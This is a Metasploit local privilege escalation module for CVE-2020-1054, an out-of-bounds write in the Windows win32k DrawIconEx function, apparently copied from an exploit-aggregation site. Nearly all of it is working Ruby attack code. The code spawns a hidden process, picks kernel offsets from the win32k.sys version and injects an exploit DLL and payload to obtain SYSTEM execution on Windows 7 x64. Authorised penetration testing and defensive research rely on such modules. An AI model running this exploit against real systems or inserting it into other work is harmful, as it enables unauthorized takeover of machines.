Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/WINDOWS/LOCAL/CVE_2020_1054_DRAWICONEX_LPE/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/priv'

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
        update_info(
          info,
          'Name' => 'Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation',
          'Description' => %q{
            This module exploits CVE-2020-1054, an out of bounds write reachable from DrawIconEx
            within win32k. The out of bounds write can be used to overwrite the pvbits of a
            SURFOBJ. By utilizing this vulnerability to execute controlled writes to kernel
            memory, an attacker can gain arbitrary code execution as the SYSTEM user.

            This module has been tested against a fully updated Windows 7 x64 SP1. Offsets
            within the exploit code may need to be adjusted to work with other versions of
            Windows.
          },
          'License' => MSF_LICENSE,
          'Author' =>
              [
                'Netanel Ben-Simon',
                'Yoav Alon',
                'bee13oy',
                'timwr', # msf module
              ],
          'Platform' => 'win',
          'SessionTypes' => ['meterpreter'],
          'Targets' =>
              [
                ['Windows 7 x64', { 'Arch' => ARCH_X64 }]
              ],
          'DefaultTarget' => 0,
          'DefaultOptions' => {
            'WfsDelay' => 30
          },
          'Notes' =>
              {
                'Stability' => [ CRASH_OS_RESTARTS ],
                'Reliability' => [ UNRELIABLE_SESSION ]
              },
          'References' =>
              [
                ['CVE', '2020-1054'],
                ['URL', 'https://cpr-zero.checkpoint.com/vulns/cprid-2153/'],
                ['URL', 'https://0xeb-bp.com/blog/2020/06/15/cve-2020-1054-analysis.html'],
                ['URL', 'https://github.com/DreamoneOnly/2020-1054/blob/master/x64_src/main.cpp'],
                ['URL', 'https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp'],
                ['URL', 'https://github.com/Iamgublin/CVE-2020-1054/blob/master/ConsoleApplication4.cpp']
              ],
          'DisclosureDate' => '2020-02-20'
        )
    )
    register_options([
      OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])
    ])
  end

  def setup_process
    process_name = datastore['PROCESS']
    begin
      print_status("Launching #{process_name} to host the exploit...")
      launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)
      process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Sandboxes could not allow to create a new process
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    process
  end

  def check
    sysinfo_value = sysinfo['OS']
    if sysinfo_value !~ /windows/i
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe
    end

    file_path = expand_path('%WINDIR%\\system32\\win32k.sys')
    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

    build_num_gemversion = Rex::Version.new("#{major}.#{minor}.#{build}.#{revision}")
    if (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24542')) # Windows 7 SP1
      @xleft_offset = 0x900
      @oob_offset = 0x238
      return CheckCode::Appears
    elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24553')) # Windows 7 SP1 with patches
      @xleft_offset = 0x8c0
      @oob_offset = 0x240
      return CheckCode::Appears
    else
      return CheckCode::Safe("No target for win32k.sys version #{build_num_gemversion}")
    end
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo['Architecture'] != ARCH_X64
      fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
    end

    process = setup_process
    library_data = exploit_data('CVE-2020-1054', 'exploit.dll')
    print_status("Injecting exploit into #{process.pid} ...")
    exploit_mem, offset = inject_dll_data_into_process(process, library_data)
    print_status("Exploit injected. Injecting payload into #{process.pid}...")
    encoded_payload = payload.encoded

    payload_mem = inject_into_process(process, [@xleft_offset, @oob_offset, encoded_payload.length].pack('LLL') + encoded_payload)

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Payload injected. Executing exploit...')
    process.thread.create(exploit_mem + offset, payload_mem)
  end
end